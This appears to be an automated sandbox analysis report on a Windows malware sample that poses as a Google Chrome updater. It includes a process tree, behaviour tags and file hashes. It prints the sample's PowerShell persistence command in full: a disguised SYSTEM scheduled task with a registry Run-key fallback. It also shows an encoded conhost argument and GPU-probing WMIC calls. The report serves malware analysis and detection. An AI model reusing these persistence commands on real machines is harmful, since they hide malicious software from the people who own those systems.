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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2360
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:4816
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:3056
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4616
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2544
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:3252
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1008
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:1068
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
906KB
MD5b0706e4a1d42857980aa9f6eded72e7b
SHA19ec358fb34b70a2d03b844bdb515a20c76a2cb86
SHA2564035b12233ceec87200f04f4b4f6401e84dea363c394fe11a7a6de52626bf1a5
SHA51283516cf1163d01769cd98fdb06535e77a100f473e4b6eeb92fa66837d0ec0123f1a461e38ef8f79894358651a4e6a5c4b0f84b6f3e1c9167aee36c49035b6778
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Filesize
220KB
MD5e34a9307109f906f6e28c4c3a0865a02
SHA135189a3b928bb11ee6b0b65802fee58936d881c8
SHA256ff28ea66cc632447011476b9031fae0f717493b306d7b8b05fa46af0018311a5
SHA5120506fe296d8d11a1a99827f53845005cdc1ec3ee436eaa60870e905f7c5f9cd32fc9af893a385f61bb8452c0f8e059e87d80361b2cbc4e7fef49e7e0b903a61f
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
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Filesize
1KB
MD57140ccf74fcbd9163b3c532a69f5ff6e
SHA157bc8d30e61acbda9dcde9d9434f559c9d38aac3
SHA256c32be57fa8e9807007fa8bf35a630b893a4699e5251dbc179310b5a5640085b6
SHA512292be07038e4f6c0151b6d2bdb6471abb96098dbd8eb97fff59608cb1b0a06c952727847227b0248113f7f93ed6aaca59f6727e222269ec20b6933eeaa7281df
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5b5907d83332d76b848c110c959b879a7
SHA1c9fcd89ff45eb7fd0c78dff6253b465e5cd9ac2f
SHA25645ee92d3d38083b6403cb0a51316f21ed7376f6e1adb319620e9900a5ce38de3
SHA512850c71c07670003864c00e7041ee6dba2140f02914e7965797959570d8e6bd3c9cc299f26082295372da1ccb40e5e6111d177e8f628d7bd5930093ba317009ca
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5f86cfe47fea63e5e62be4d5adfb27a97
SHA104dd13cce17e479b56cdbaf7e3d0867468085cfd
SHA2568f478e740be48375bcdabf34ae4561375129b28957172e6883e8ceb13ef0b1ad
SHA51260687e78ac1346c968ed00a2a7e68e72d489d5a218e810b4c21fcf23fd3680ff4f21410868568ce888448d50b897646043d9879a1a3179df3f4b9db80b02880c